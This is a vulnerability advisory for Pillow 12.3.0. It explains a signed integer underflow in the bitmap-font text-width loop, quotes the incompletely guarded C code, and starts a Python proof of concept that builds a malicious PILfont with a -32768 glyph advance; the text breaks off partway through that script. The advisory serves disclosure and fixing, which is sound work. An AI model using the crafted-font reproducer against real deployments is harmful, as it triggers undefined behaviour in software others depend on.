CVE-2026-96641

### Summary Affected Object and Source Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx ### Details The code in Pillow 12.3.0 is: ```c for (xsize = 0; *text; text++) { int dx = self->glyphs[*text].dx; if (dx > 0 && xsize > INT_MAX - dx) { PyErr_SetString(PyExc_OverflowError, "Width too large"); return -1; } xsize += dx; } ``` The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves: `dx > 0 => xsize <= INT_MAX - dx` It does **not** prove the other half of the contract: `dx < 0 => xsize >= INT_MIN - dx` Taking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**. ### PoC ```python """Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow. Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with the PyC-Contract UBSan build to obtain the exact native diagnostic. """ from __future__ import annotations import struct from io import BytesIO import PIL from PIL import Image, ImageFont ADVANCE = -(2**15) CONTROL_REPEAT = 65_536 WITNESS_REPEAT = 65_537 def bitmap_font(advance: int) -> ImageFont.ImageFont: metrics = bytearray(256 * 20) glyph_offset = ord("A") * 20 metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance) font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics) font = ImageFont.ImageFont() font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1))) return font def main() -> None: font = bitmap_font(ADVANCE) print(f"Pillow={PIL.__version__}") print(f"control_math={ADVANCE * CONTROL_REPEAT}") p